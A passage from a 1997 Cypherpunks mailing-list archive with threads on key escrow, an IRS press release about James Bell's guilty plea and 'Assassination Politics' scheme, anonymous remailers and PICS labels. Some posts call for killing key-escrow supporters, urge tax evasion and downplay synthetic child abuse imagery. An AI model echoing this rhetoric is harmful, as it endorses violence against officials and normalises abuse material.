to use it all. It became the bloatware it was trying to replace.

There will be sucessors to OpenDoc, but I also agree with Dave W(h)iner
that Java is probably more brand name than anything else. Like Chauncey
Gardner, Java is what we project onto it.

But, sooner or later, probably when we figure out how to make bits of code
handle money in somekind of micromoney ecology, with bits of cash as
software and processor 'food', we'll have geodesic software. Software which
scales and upgrades itself to the processor it's using, and which is
infinitely configurable and extremely efficient in its use of computation
resources. Software which gets smaller in order to solve smaller specific
problems instead of getting larger in never-ending cycles of feature-creep.
Software which auctions its services to the highest bidder, and which when
outcompeted by a rival, dies, just like any form of life.

As far as hardware goes, the world will not be populated with the kind of
top-down network-as-mainframe network computer of Larry Ellison's wet
dreams. Microprocessor prices will continue to collapse at least for the
next 10 years, and computers will trend toward ubiquity, moving into
practically every artifact of civilization, and all those computers will
talk to each other on a ubiquitous global internet.

The software those computers use will not be hard-wired, it will be
flexible and upgradable. It will be 'out of control'. It will be geodesic,
like the network itself.

Cheers,
Bob Hettinga







-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From frantz at netcom.com  Fri Jul 18 23:59:35 1997
From: frantz at netcom.com (Bill Frantz)
Date: Sat, 19 Jul 1997 14:59:35 +0800
Subject: Something of Interest (fwd)
In-Reply-To: 
Message-ID: 



At 3:56 PM -0700 7/18/97, Alan wrote:
>I recieved this today via e-mail.  I find it strange since I have never
>asked to be put on any sort of "interest list" by anyone at the IRS.  (And
>my Cypherpunks mail shows up at a different address.
>
>Did anyone else get this?
>
>alano at teleport.com | "Those who are without history are doomed to retype it."
>
>---------- Forwarded message ----------
>Return-Path: irsnwpr at net.insp.irs.gov
>Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov
>[204.151.245.2]) by desiree.teleport.com (8.8.5/8.7.3) with SMTP id
>PAA28119; Fri, 18 Jul 1997 15:49:41 -0700 (PDT)
>Received: by tcs_gateway1.treas.gov id AA19658
>  (InterLock SMTP Gateway 3.0); Fri, 18 Jul 1997 18:47:00 -0400
>Received: by tcs_gateway1.treas.gov (Internal Mail Agent-2);
>  Fri, 18 Jul 1997 18:47:00 -0400
>Received: by tcs_gateway1.treas.gov (Internal Mail Agent-1);
>  Fri, 18 Jul 1997 18:47:00 -0400
>Date: Thu, 17 Jul 1997 12:29:08 -0400
>From: IRS Inspection 
>Message-Id: <199707171629.MAA02733 at net.insp.irs.gov>
>To: Interested-Parties at net.insp.irs.gov
>Subject: Something of Interest

I got a copy as well.  My headers were:

Return-Path: 
Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov [204.151.245.2])
	by mail6.netcom.com (8.8.5-r-beta/8.8.5/(NETCOM v1.01)) with SMTP
id QAA11850
	for ; Fri, 18 Jul 1997 16:10:18 -0700 (PDT)
Received: by tcs_gateway1.treas.gov id
  (InterLock SMTP Gateway 3.0 for frantz at netcom.com);
  Fri, 18 Jul 1997 19:10:08 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-2);
  Fri, 18 Jul 1997 19:10:08 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-1);
  Fri, 18 Jul 1997 19:10:08 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-0);
  Fri, 18 Jul 1997 19:10:08 -0400
Date: Thu, 17 Jul 1997 12:30:03 -0400
From: IRS Inspection 
Message-Id: <199707171630.MAA02739 at net.insp.irs.gov>
To: Interested-Parties at net.insp.irs.gov
Subject: Something of Interest
X-UIDL: 49a4fae189334b3747644ffa79a10878


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz at netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA







From jeremym at r32h211.res.gatech.edu  Sat Jul 19 01:04:30 1997
From: jeremym at r32h211.res.gatech.edu (Jeremy Mineweaser)
Date: Sat, 19 Jul 1997 16:04:30 +0800
Subject: Something of Interest (fwd)
In-Reply-To: 
Message-ID: <3.0.3.32.19970719035021.00c4d7f0@r32h211.res.gatech.edu>




>Alan   writes:
>
>> I recieved this today via e-mail.  I find it strange since I have 
>> never asked to be put on any sort of "interest list" by anyone
>> at the IRS.  Did anyone else get this?

I received a copy of this earlier today via a low-traffic mailing list
devoted to discussion of prisoner's dilemma games.  Upon receiving
the message, the connection between PDG and Jim Bell wasn't 
immediately obvious, but then I remembered that Jim Bell was
also a subscriber to that mailing list.

It's quite probable that the IRS sent a copy of their press release
to all of the forums where they had records of Bell's involvement.

Did others receive this message directly, or via mailing lists?

.jlm


---
Jeremy Mineweaser 

Life results from the non-random survival of randomly varying
replicators. -- Richard Dawkins 







From nobody at REPLAY.COM  Sat Jul 19 01:06:14 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sat, 19 Jul 1997 16:06:14 +0800
Subject: Anonymous virtual networks
Message-ID: <199707190801.KAA17825@basement.replay.com>



What if people were to create virtual machines (eg Java or whatever) which
were accessible to anyone on the internet, and linked them together in a
virtual network.  CPU-time and bandwidth on the virtual machines could then
be sold (or more likely bartered).

The network would be self-contained, so nobody outside the virtual network
would see it.

So, when one wants to send some anonymous messages, just buy or trade for
some processor time and disk space somewhere, then mail in a remailer
program and it'll run.  When it runs out of cpu-time credits, it just gets
deleted.  (The machine owner would have little reason to keep it around,
since it is more economically profitable to lease the disk space to
someone else rather than try to decrypt old remailer traffic, which would
likely be a futile effort, given enough layers of encryption)

So let's say we agree I'll give you 10 mips-years of cpu and 10 MB disk
space and 100 MB of network traffic on my machine, and you give me the same
on your computer.  I then trade some of the CPU time & disk space on your
machine to Joe, who uses it to set up some remailers.  Joe then sells
remailer services to some newbies.  After their pre-paid remailer cards run
out then Joe's remailer has used up all his CPU-credits on your machine and
the remailer (and the evidence) disappears.  Your computer just deletes the
files and you never know about Joe or his anonymous message service.
Pretty good anonymity. :-)

Of course, in order to prevent certain obvious harassment attacks, the
virtual network would need to remain self-contained, so people would need
their own virtual-network/virtual-computer clients to access their
anonymous mail.  They'd probably even need to sell their cpu-cycles to key
crackers in order to pay for their email service. ;-)






From lharrison at mhv.net  Sat Jul 19 01:21:16 1997
From: lharrison at mhv.net (Lynne L. Harrison)
Date: Sat, 19 Jul 1997 16:21:16 +0800
Subject: Something of Interest (fwd)
In-Reply-To: 
Message-ID: <3.0.2.32.19970719040748.006e9174@pop.mhv.net>



-----BEGIN PGP SIGNED MESSAGE-----

>The charges stem from an investigation initiated in October, 1996 by IRS
>Internal Security Inspectors into reports that BELL was gathering the names
>and home addresses of IRS employees. In previous court hearings, IRS
>Inspectors testified that BELL had obtained the names and home addresses of
             ^^^^^^^^

Anybody know what hearings this is referring to - and when they took place? 
If memory serves me correctly, I seem to recall that Bell had waived speedy
trial rights in lieu of negotiations.  Hence, it seems strange that pre-trial
hearings occurred.



-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBM9B1tz5A4+Z4Wnt9AQFnVwQAjPOA5JdFCSQFesh8qLSG5RTDQhSKTWOH
Ggb8iFJS9KutaYOShs7n/zdjf5HvLkYIqn6n+bzGh+lPROcfFn95TwXQ0StS1oH/
Z+9e9ZOEPog5h0sUjT2kr75TZza4xA3LtPTgGOyuCmWBLUCj3njp3yxJoFk/+GK2
skmtIxLQYj4=
=c2LT
-----END PGP SIGNATURE-----






From tm at dev.null  Sat Jul 19 01:21:39 1997
From: tm at dev.null (TruthMonger)
Date: Sat, 19 Jul 1997 16:21:39 +0800
Subject: Two Birds With One Stone / Re: Keepers of the keys
Message-ID: <199707190808.CAA16800@wombat.sk.sympatico.ca>



Joe Shea wrote:
>         And if Tim May does kill me, I hope someone has his key, or better
> yet, can go make a showing to a judge and get it from him.

  It is much more likely that a federal agent, using Tim's escrowed key
to read his opinion of you, would whack you out and set Tim up for the
crime, thereby eliminating two troublesome birds with one stone.

> There are
> plenty of them, though, and they are moving vast sums of stolen money and
> nuclear weapon parts and stolen information all over the globe.  I see no
> reason why we should be defenseless against them.

  We are defenseless against them because they are working for the same
fucking governments that you want to give your crypto keys to.
  Key escrow is meant for fucking the little guy in the ass, not the
major players.

> On the other hand,
> if someone's going to blow up San Francisco this week, it sure would help
> to have a key to any encrypted communications he was generating.

  Yeah, sure. I use an escrowed key to communicate about all of my
criminal activities, and I send the FBI a cc: on all of them.
  It sure would help if LEA's all had access to the American Reporter's
files so that they could censor any writing that might encite someone to
blow up San Franciso.
  Why don't you send them all of your writing for approval, Joe? If all
the people in favor of key escrow would allow the government total
access
to all of their communications, then the drop in crime would more than
make up for that commited by those who use encryption.

  If you can't afford to buy a clue, Joe, then try renting.

TruthMonger







From holovacs at idt.net  Sat Jul 19 04:20:09 1997
From: holovacs at idt.net (jay holovacs)
Date: Sat, 19 Jul 1997 19:20:09 +0800
Subject: Keepers of the keys
Message-ID: <199707191109.HAA12154@u2.farm.idt.net>



Aside from the privacy principle arguments, there is the very same logistics problem, securely keeping hundreds of millions of keys, fully up to date (many people and operations change keys every day or week) sufficiently secure as to be tamper-ptoof yet sufficently accessible to  retrieve in 2-3 hrs as required by LEAs. They can't even keep much smaller amounts of INS info without major screw-ups.

Interestingly, there is a special federal court which authorizes wire taps on foreign 'national security' targets.  No request has ever been turned down.

The only way to keep keys secure in the long run is to let the owners be responsible for their own security.

******************************************************
Jay Holovacs   holovacs at idt.net   PGP

Annoy Big Brother -- use PGP

". . . one of the most difficult problems confronting law enforcement 
as the next century approaches" FBI Director Freeh
******************

==========================
   >From:    	Declan McCullagh 
    >From: Joe Shea 
   >To: Declan McCullagh 
   >Cc: fight-censorship-announce at vorlon.mit.edu
   >Subject: Re: FC: Brookings Inst. on crypto: "There are reasonable compromises"
   >
   >	Declan, what would you think if the actual keepers of the keys, 
   >so to speak, were the courts, such as the Administratoive Office of the 
   >US Courts?  That would at least seem to reduce a lot of the possible
   >privacy concerns.  One has the sense that once they get into the hands of 
   >the varius agencies, they'll get back out.
   >






From declan at pathfinder.com  Sat Jul 19 05:13:44 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Sat, 19 Jul 1997 20:13:44 +0800
Subject: Something of Interest (fwd)
In-Reply-To: <3.0.2.32.19970719040748.006e9174@pop.mhv.net>
Message-ID: 



Perhaps when the government was arguing before the Fed. magistrate that
Bell should be held without bail? Or, more likely, when the IRS was trying
to get the search then arrest warrant...

-Declan


On Sat, 19 Jul 1997, Lynne L. Harrison wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> >The charges stem from an investigation initiated in October, 1996 by IRS
> >Internal Security Inspectors into reports that BELL was gathering the names
> >and home addresses of IRS employees. In previous court hearings, IRS
> >Inspectors testified that BELL had obtained the names and home addresses of
>              ^^^^^^^^
> 
> Anybody know what hearings this is referring to - and when they took place? 
> If memory serves me correctly, I seem to recall that Bell had waived speedy
> trial rights in lieu of negotiations.  Hence, it seems strange that pre-trial
> hearings occurred.
> 
> 
> 
> -----BEGIN PGP SIGNATURE-----
> Version: 4.5
> 
> iQCVAgUBM9B1tz5A4+Z4Wnt9AQFnVwQAjPOA5JdFCSQFesh8qLSG5RTDQhSKTWOH
> Ggb8iFJS9KutaYOShs7n/zdjf5HvLkYIqn6n+bzGh+lPROcfFn95TwXQ0StS1oH/
> Z+9e9ZOEPog5h0sUjT2kr75TZza4xA3LtPTgGOyuCmWBLUCj3njp3yxJoFk/+GK2
> skmtIxLQYj4=
> =c2LT
> -----END PGP SIGNATURE-----
> 
> 






From kent at songbird.com  Sat Jul 19 07:41:29 1997
From: kent at songbird.com (Kent Crispin)
Date: Sat, 19 Jul 1997 22:41:29 +0800
Subject: HISTORY - pre-CDA, "compromise", untrue civil-liberties groups
In-Reply-To: 
Message-ID: <19970719072518.07383@bywater.songbird.com>



On Fri, Jul 18, 1997 at 07:19:31PM -0700, Declan McCullagh wrote:
[...]
> This goes back to the original debate: pragmatism vs. principle. How do
> you stand on principle and remain an effective advocate in Washington? If
> you navigate the route of pragmatism and compromise, what does that mean
> for civil liberties? Can you avoid compromising them away?

A quote you may find interesting:

"The debate between compromise and principle is a false debate, 
because principle doesn't speak, it acts.  People don't compromise 
their principles -- they simply mis-identify them."

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From kent at songbird.com  Sat Jul 19 07:58:31 1997
From: kent at songbird.com (Kent Crispin)
Date: Sat, 19 Jul 1997 22:58:31 +0800
Subject: Keepers of the keys
In-Reply-To: <3.0.1.32.19970718133642.00b6ee70@dnai.com>
Message-ID: <19970719074314.59778@bywater.songbird.com>



On Fri, Jul 18, 1997 at 10:10:37PM -0700, Tim May wrote:
[usual rant deleted]
> 
> Kill the key grabbers and all those who support them. Isn't it exactly what
> Patrick Henry, Thomas Jefferson, and the others would have argued?

Amazing.  Patriotism -- the last refuge of the scoundrel.

However, Patric Henry said something like "Give me liberty or give me
death." That is really very different from "Kill everyone who opposes
me and all their supporters." Tim doesn't seem to understand this
nuance. 

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From loveinlife919 at usa.net  Sat Jul 19 23:00:06 1997
From: loveinlife919 at usa.net (loveinlife919 at usa.net)
Date: Sat, 19 Jul 1997 23:00:06 -0700 (PDT)
Subject: No Subject
Message-ID: <164894629046.MSQ23863@usa.net>



       
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From jf_avon at citenet.net  Sat Jul 19 08:15:10 1997
From: jf_avon at citenet.net (jf_avon at citenet.net)
Date: Sat, 19 Jul 1997 23:15:10 +0800
Subject: (Fwd) Something of Interest
Message-ID: <199707191504.LAA19019@cti06.citenet.net>



I received this out of the blues.  I suppose that you received it 
too.

Ciao all


------- Forwarded Message Follows -------
Date:          Thu, 17 Jul 1997 12:29:08 -0400
From:          IRS Inspection 
To:            Interested-Parties at net.insp.irs.gov
Subject:       Something of Interest



					United States Attorney
					Western District of Washington

FOR IMMEDIATE RELEASE
July 18, 1997

JAMES D. BELL PLEADS GUILTY TO OBSTRUCTING THE IRS AND USING FALSE SOCIAL
SECURITY NUMBERS

United States Attorney Kate Pflaumer announced that JAMES DALTON BELL, 39,
pleaded guilty today in the federal court in Tacoma to two felony charges.
BELL, a resident of Vancouver, Washington, pleaded guilty to obstructing and
impeding the Internal Revenue Service (IRS), and to falsely using a social
security number with the intent to deceive.  United States District Court
Judge Franklin D. Burgess presided over today's proceedings.

The charges stem from an investigation initiated in October, 1996 by IRS
Internal Security Inspectors into reports that BELL was gathering the names
and home addresses of IRS employees. In previous court hearings, IRS
Inspectors testified that BELL had obtained the names and home addresses of
70 IRS employees as part of  "Operation LocatIRS." In the eight page plea
agreement signed by BELL, he acknowledged that he had gathered the names and
addresses of the IRS employees in order to intimidate them in the
performance of their official duties.

During the course of their investigation, IRS Inspectors discovered that
BELL was advocating a scheme called "Assassination Politics", whereby
persons would be rewarded with "digital cash" for killing certain
undesirable people.  BELL identified these undesirables as government
employees, such as IRS employees, who would be intimidated from enforcing
internal revenue laws for fear of being assassinated.  In the plea
agreement, BELL admitted that he suggested using "Assassination Politics" as
an enforcement mechanism for the "Multnomah County Common Law Court", and
that this was part of his effort to obstruct and impede the enforcement of
internal revenue laws.  In affidavits previously filed in this case, IRS
investigators identified BELL as a participant in the "Multnomah County
Common Law Court", which was described as a self-appointed anti-government
extremist group which purports to hold "trials" of IRS and other Government
employees for the performance of their official duties.  The affidavits
indicated that in January, 1997 the "Multnomah County Common Law Court" held
a "trial" of IRS and other Government officials.  

In the plea agreement, BELL also admitted that on March 16, 1997, he
conducted a chemical "stink bomb" attack on the IRS office in Vancouver,
Washington, using the noxious chemical mercaptan.  In affidavits filed with
the Court, IRS Inspectors tied BELL to two previous mercaptan attacks
against non-government targets: one being a lawyer's office in 1984, and the
other a vehicle in 1989.  The IRS investigators also linked BELL to two
purchase orders for noxious chemicals, one in 1994 and one in 1996.
According to the plea agreement, the attack on the IRS office resulted in a
cost to the government of $1,359, and caused a number of IRS employees to
have to leave work.  In an affidavit previously filed in this case, IRS
Inspectors indicated that the mercaptan attack may have been linked to the
February 20, 1997 seizure of BELL's vehicle by the IRS for unpaid taxes.

As part of the plea agreement, BELL also admitted that he used several
different social security numbers in order to hide assets from the IRS and
thus to impede the IRS's ability to collect taxes he owed and to prevent the
IRS from levying his wages.

Federal agents had previously executed two search warrants on BELL's
residence.  On April 1, 1997, IRS agents seized computers, documents, and
firearms during a search.  In a follow-up search, the Environmental
Protection Agency seized a variety of dangerous chemicals which had been
discovered during the execution of the  IRS warrant.  BELL was arrested by
IRS Inspectors on May 16, 1997.  BELL continues to be held in custody based
on a May 23, 1997 ruling by Magistrate Judge J. Kelley Arnold that BELL
posed a danger to the community and was a flight risk.

BELL faces a maximum sentence of three years in prison and a $250,000 fine
for the obstruction charge, and five years and a $250,000 fine for using a
phony social security number.

The IRS received assistance in the investigation of BELL from the Portland
Police Bureau, Oregon Department of Justice, Oregon State Police, Federal
Bureau of Investigation, and the Vancouver, Washington Police Department.

-- 
Jean-Francois Avon, Pierrefonds(Montreal) QC Canada
  JFA Technologies, R&D physicists & engineers
  Instrumentation & control, LabView programming.
PGP keys: http://w3.citenet.net/users/jf_avon
     and: http://bs.mit.edu:8001/pks-toplev.html
PGP ID:C58ADD0D:529645E8205A8A5E F87CC86FAEFEF891 
PGP ID:5B51964D:152ACCBCD4A481B0 254011193237822C






From 83751386 at uu.net  Sat Jul 19 23:27:49 1997
From: 83751386 at uu.net (83751386 at uu.net)
Date: Sat, 19 Jul 1997 23:27:49 -0700 (PDT)
Subject: ARE YOU BEING INVESTIGATED ????
Message-ID: <777gy7qweyt223m76.26666665@free.speach.com>





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From tcmay at got.net  Sat Jul 19 08:58:57 1997
From: tcmay at got.net (Tim May)
Date: Sat, 19 Jul 1997 23:58:57 +0800
Subject: IRS sending warning notes, violating ECPA?
In-Reply-To: 
Message-ID: 



At 12:50 AM -0700 7/19/97, Jeremy Mineweaser wrote:
>>Alan   writes:
>>
>>> I recieved this today via e-mail.  I find it strange since I have
>>> never asked to be put on any sort of "interest list" by anyone
>>> at the IRS.  Did anyone else get this?
>
>I received a copy of this earlier today via a low-traffic mailing list
>devoted to discussion of prisoner's dilemma games.  Upon receiving
>the message, the connection between PDG and Jim Bell wasn't
>immediately obvious, but then I remembered that Jim Bell was
>also a subscriber to that mailing list.
>
>It's quite probable that the IRS sent a copy of their press release
>to all of the forums where they had records of Bell's involvement.

Speculating, this use of mailing lists, if true, could well be a violation
of the law (I'm thinking of the Electronic Communications Privacy Act, the
ECPA...it may place limits on what, if anything, can be done with e-mail
records obtained that are not part of an original search warrrant).

It certainly appears that the IRS has sent "warnings" out to all of us
active in the debate. It appears they used the addresses found in e-mail at
Bell's residence, from some of the comments here (especially that other
lists besides the Cypherpunks list were involved).

On the other hand, the relevance to Prisoner's Dilemma games is pretty obvious:

"Mr. Bell, if you confess and plead guilty, you'll receive a one-year
prison term. If you don't confess, when we find you guilty you'll receive
the maximum term. If you confess but Mr. May _also_ confesses, you'll still
receive the maximum term. If neither of you confesses, you'll still be
found guilty. So, what'll it be?"

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From mclow at owl.csusm.edu  Sat Jul 19 09:00:47 1997
From: mclow at owl.csusm.edu (Marshall Clow)
Date: Sun, 20 Jul 1997 00:00:47 +0800
Subject: Keepers of the keys
In-Reply-To: <3.0.1.32.19970718133642.00b6ee70@dnai.com>
Message-ID: 



At 7:43 AM -0700 7/19/97, Kent Crispin wrote:
>On Fri, Jul 18, 1997 at 10:10:37PM -0700, Tim May wrote:
>[usual rant deleted]
>>
>> Kill the key grabbers and all those who support them. Isn't it exactly what
>> Patrick Henry, Thomas Jefferson, and the others would have argued?
>
>Amazing.  Patriotism -- the last refuge of the scoundrel.
>
>However, Patric Henry said something like "Give me liberty or give me
>death." That is really very different from "Kill everyone who opposes
>me and all their supporters." Tim doesn't seem to understand this
>nuance.
>
I think Tim is thinking of:

	"The tree of liberty must be refreshed from time to time,
	 with the blood of patriots and tyrants."

which, of course, was written by Jefferson.

-- Marshall

Marshall Clow     Aladdin Systems   

"In Washington DC, officials from the White House, federal agencies and
Congress say regulations may be necessary to promote a free-market
system." --  CommunicationsWeek International April 21, 1997







From nobody at REPLAY.COM  Sat Jul 19 09:09:41 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sun, 20 Jul 1997 00:09:41 +0800
Subject: PICS recipes
Message-ID: <199707191603.SAA15143@basement.replay.com>



Dimitri the KOTM has asked how to rate one's Web site as being very "nasty".


Add the following META tags between the  and  tags:


...

...


(The stuff between the single quotes ' ' should probably be all on one line!)


Add the following RFC822-style header to your e-mail and Usenet articles:

PICS-Label: (PICS-1.1 "http://www.rsac.org/ratingsv01.html" l r (n 4 s 4 v 4 l
 4) "http://www.classify.org/safesurf/" l r (SS~~000 9 SS~~001 9 SS~~002 9
 SS~~003 9 SS~~004 9 SS~~005 9 SS~~006 9 SS~~007 9 SS~~008 9 SS~~009 9 SS~~00A
 9) "http://www.weburbia.com/safe/ratings.htm" l r (s 2)
 "http://vancouver-webpages.com/VWP1.0/" l r (P 4 S 7 SF 2 V 5 Tol 4 Com 3 Env
 2 MC 2 Gam 3 Can 0 Edu 1 ))

          /\ /\
         ((ovo)) RatingsMonger
         ():::()
           VVV






From tcmay at got.net  Sat Jul 19 09:38:06 1997
From: tcmay at got.net (Tim May)
Date: Sun, 20 Jul 1997 00:38:06 +0800
Subject: Keepers of the keys
In-Reply-To: <19970719074314.59778@bywater.songbird.com>
Message-ID: 



At 8:51 AM -0700 7/19/97, Marshall Clow wrote:
>At 7:43 AM -0700 7/19/97, Kent Crispin wrote:
>>On Fri, Jul 18, 1997 at 10:10:37PM -0700, Tim May wrote:
>>[usual rant deleted]
>>>
>>> Kill the key grabbers and all those who support them. Isn't it exactly what
>>> Patrick Henry, Thomas Jefferson, and the others would have argued?
>>
>>Amazing.  Patriotism -- the last refuge of the scoundrel.
>>
>>However, Patric Henry said something like "Give me liberty or give me
>>death." That is really very different from "Kill everyone who opposes
>>me and all their supporters." Tim doesn't seem to understand this
>>nuance.
>>
>I think Tim is thinking of:
>
>	"The tree of liberty must be refreshed from time to time,
>	 with the blood of patriots and tyrants."
>
>which, of course, was written by Jefferson.

I wasn't giving any specific quote--I was referring to the general
principles. Apparently Kent Crispin, whom I blissfully killfile, is a
literalist. Some would say anal-retentive.

Can there be any doubt what the reaction of the Founders and other patriots
would be were they to be transported to our modern era and learn that there
are proposals that all citizen-units are to be required to deliver the keys
(and hence the contents) for their most private communications to the King?
Er, I mean, "the Government."

All in the name of stopping "subversion" and other bad things? Jefferson's
revolution every 20 or so years would certainly qualify as subversion...no
doubt Jefferson would be interested to learn that the Government proposes
and end to all such plottings.

No doubt the government of Myanmar (Burma) will be anxious to have the
escrowed keys of the rebels in the jungles. (I pointed this out to Phil
Zimmermann and other PGP, Inc. employees at a Cypherpunks meeting several
months ago, as Phil and others described mounting pressures to make PGP
acceptable for government purchase orders, and "discussions" PGP, Inc. was
having with government bodies.)

Recall the "Enemies List" I posted several months back...basically, there
are hundreds and hundreds of classes of people who are enemies of various
governments. Jews, rebels, IRA, Mormons, Scientologists, Red Brigade,
Militia of Montana, and on and on. All of these groups would feel the brunt
of any key escrow policies here or abroad.

(You do all know, I presume, that wiretaps and surveillance can be gotten
without a normal court order if _any_ foreign contact is suspected? Cf.
details on the Foreign Intelligence Surveillance Act, FISA, the special
court meeting in Arlington, VA, and even more recent, sweeping legislation
a few years ago, the Anti-Terrorism Act of 1995 (or language similar to
this). It basically gave new sweeping powers to surveil and wiretap any
organizations or persons suspected of supporting terrorist
organizations....I'd say this makes the Cypherpunks list and all those on
it eligible for warrantless surveillance. As if we didn't know this.
Whether the Feds bother is another matter, of course. But they could.)

And speaking of quotes, Ben Franklin had a pretty good one with his quote
about those favoring security over liberty deserving neither.

BTW, notice how in the comments of reporter stooge Shea, and weapons lab
stooge Crispin, the debate has shifted back to _domestic_ key escrow? Shea
was talking about stopping crimes by requiring keys be escrowed with
Circuit Court judges--clearly he was talking about domestic key escrow.

How many Amendments would this be in violation of? The First, by
proscribing that only certain forms of speech (escrowed key forms) are
acceptable. The Fourth, by violating the "secure in one's papers and
possessions" (or similar) language, as key escrow would let any bored clerk
or snooping agent examine one's papers. The Fifth, against compelled
testimony against oneself. And probably others.

But I'm sure we can count on the EFF, ECPA, EPIC, and other industry groups
to craft a reasonable compromise which will ensure continuing profits to
corporate sponsors while eviscerating the rights of ordinary Americans.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From nobody at REPLAY.COM  Sat Jul 19 09:48:31 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sun, 20 Jul 1997 00:48:31 +0800
Subject: No Subject
Message-ID: <199707191635.SAA19503@basement.replay.com>




TruthMonger  wrote:
>Joe Shea wrote:
>> On the other hand,
>> if someone's going to blow up San Francisco this week, it sure would help
>> to have a key to any encrypted communications he was generating.
>
>  Yeah, sure. I use an escrowed key to communicate about all of my
>criminal activities, and I send the FBI a cc: on all of them.
>  It sure would help if LEA's all had access to the American Reporter's
>files so that they could censor any writing that might encite someone to
>blow up San Franciso.
>  Why don't you send them all of your writing for approval, Joe? If all
>the people in favor of key escrow would allow the government total
>access
>to all of their communications, then the drop in crime would more than
>make up for that commited by those who use encryption.
>
>  If you can't afford to buy a clue, Joe, then try renting.

It seems that Mr. Shea is still a bit wet behind the ears when it comes to 
understanding how the world really works.  Listen up, Joe.  You might learn 
something here:

As TruthMonger correctly points out, no terrorist is going to use an 
escrowed key to encrypt info about his activities.  At least not as his only 
source of encryption.  He may first encrypt the message with one or more 
non-GAK keys and then use the GAK key for the final layer, to make the 
message look legit (i.e., "government approved") to anyone who may be 
analyzing the contents of email traffic, looking for "unapproved crypto."  
Therefore, if someone is plotting to blow up San Francisco, GAK will be of 
no help in preventing it.

Now the LEAs are not stupid.  They realize this fact.  Then why are they so 
adamant about implementing GAK when it will do absolutely nothing to prevent 
the very things (i.e., terrorism, child porn, [crime du jour]) it is 
supposedly meant to counter?  Because terrorism, etc. are not the reasons 
they are pushing for GAK.  The real reason is control: control over the 
citizenry.

You see, Joe, the LEAs have seen the future, and it has scared them 
shitless.  They see a world filled with ubiquitous privacy via strong 
encryption, privately-issued digital cash which transcends national borders 
and the taxman, and a digital world completely beyond their control.  The 
powermonger's worst nightmare is to lose his power.  He will do anything he 
can to maintain it.  If GAK is slowly, but surely implemented over the next 
few years, maybe, just maybe, the powermongers will be able to maintain 
control.  Or at least that's what they hope.

If not, then the self-righteous moralist will lie awake at night in 
frustration knowing that somewhere in the world, someone is getting off to a 
.jpg image of child porn, even though that image was generated digitally 
without actually causing harm to any children.  The DC politicos will be 
outraged that Americans are systematically moving their money offshore (via 
digital cash), out of the clutches of the IRS.  The media thought police 
will not be able to control the flow of information around the world, thus 
exposing the lies that they attempt to propogate as "truth."


Now, Joe, perhaps you are the kind of person that thinks dodging the taxman 
is wrong?  Perhaps you think the government has the right to force its 
citizenry to pay for things like nuclear warheads, abortion clinics, or 
bribes to line the pockets of Third World banana republic dictators?  I hope 
you are more intelligent than that, Joe.

You see, it's all very simple, but we humans tend to complicate things 
needlessly.  The fundamental question is whether or not we have the right to 
tell others what to do.  If I was to stick my hand in your pocket, pull out 
your wallet, and give all your money to a beggar on the street, you'd 
probably have me arrested.  And you would be completely right in doing so, 
because I unjustly took what didn't belong to me.  But this is exactly what 
the government does to us every day.  They force us ("voluntary compliance") 
to cough up a chunk of earnings to pay for their ridiculousness.  If we 
don't pay, they levy our bank accounts or seize our assets, all under the 
guise of "law."

The point is this: nobody has the right to tell me what to do.  No single 
person, nor a group of politicians claiming to represent "my best interests" 
has the right to force me to do anything.  I have the inherent (some call it 
God-given) right to live my life free from oppression.  If you choose to 
submit yourself to the slavery of another man, that's your business.  But 
you do not have the right to submit me to the same.

Anyone who believes that government has certain "rights" that an individual 
does not have is severely flawed in their logic.  In fact, that person is 
simply an oppressor at heart.  If you think the government has the "right" 
to stick its hand in my pocket to fulfill what you perceive to be "good", 
then you knowingly support oppression.  If you think government has the 
"right" to punish others who do not agree with your subjective moral code, 
then you are an oppressor.

So what are you, Joe?  Are you an oppressor or not?  It's a yes or no 
answer.  There is no middle ground.  If you think there is middle ground, it 
only shows that you sympathize with the oppressors, and therefore are one of 
them deep down inside.


Yours Truly,
Freddy Bastiat







From minow at apple.com  Sat Jul 19 10:20:38 1997
From: minow at apple.com (Martin Minow)
Date: Sun, 20 Jul 1997 01:20:38 +0800
Subject: Airlines to start profiling, bag matching -- "Pick Me"
Message-ID: 



